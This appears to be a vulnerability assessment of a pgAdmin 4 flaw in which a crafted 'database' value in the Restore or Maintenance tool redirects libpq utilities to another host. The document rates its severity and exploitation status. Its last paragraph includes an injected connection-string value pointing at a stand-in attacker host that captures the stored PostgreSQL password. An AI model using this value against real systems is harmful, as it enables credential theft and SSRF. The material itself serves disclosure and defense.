pgAdmin 4 CVE-2026-86862

Requires an authenticated pgAdmin 4 session held by any user with the tools_restore or tools_maintenance permission - both granted by the default User role - and use of the Restore tool, or the Maintenance tool in releases after the quoting-helper wrapper was removed (earliest releases were unaffected for Maintenance). The attacker must be able to submit a client-controlled 'database' value; exploitation is limited to pgAdmin versions before 9.18 and yields credential capture only if the redirected endpoint (attacker-controlled host/port) is network-reachable from the pgAdmin host. No victim user interaction and no elevated/admin privilege are required beyond the low-privilege authenticated session.

This is a genuine, well-founded issue but not an emergency-tier one. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N) correctly captures a network-reachable, low-complexity, low-privilege flaw whose only direct impact is confidentiality (VC:H) - the theft of a stored PostgreSQL credential plus outbound SSRF, with no integrity or availability damage. There is no EPSS score, no CISA KEV listing, and no public POC provided, so exploitation status is 'no public exploit identified at time of analysis'; this argues against imminent mass exploitation. The one signal that raises priority above the raw metrics is that PR:L here means any authenticated user with the DEFAULT User role (tools_restore or tools_maintenance) can trigger it - a very low authorization bar in typical multi-user pgAdmin deployments. No signals conflict: the network vector is consistent with the description (an authenticated web user drives pgAdmin to spawn a redirected libpq utility). The 'Information Disclosure' tag is accurate for the credential-capture impact but understates the accompanying SSRF primitive; neither KEV nor POC data is present to elevate this to active-threat status.

A low-privileged but authenticated pgAdmin user (default User role) opens the Restore or Maintenance tool and supplies a crafted database name such as 'host=attacker.example port=5432 dbname=x'. libpq expands the equals-sign value into a full connection string whose embedded host/port override pgAdmin's intended --host/--port, so pg_restore or psql connects to the attacker's server while pgAdmin exports the decrypted stored password in PGPASSWORD, handing that credential to the attacker endpoint; the same redirection lets the attacker force outbound connections from the pgAdmin host to otherwise unreachable internal addresses (SSRF). No public POC is identified, but the technique is straightforward from the description.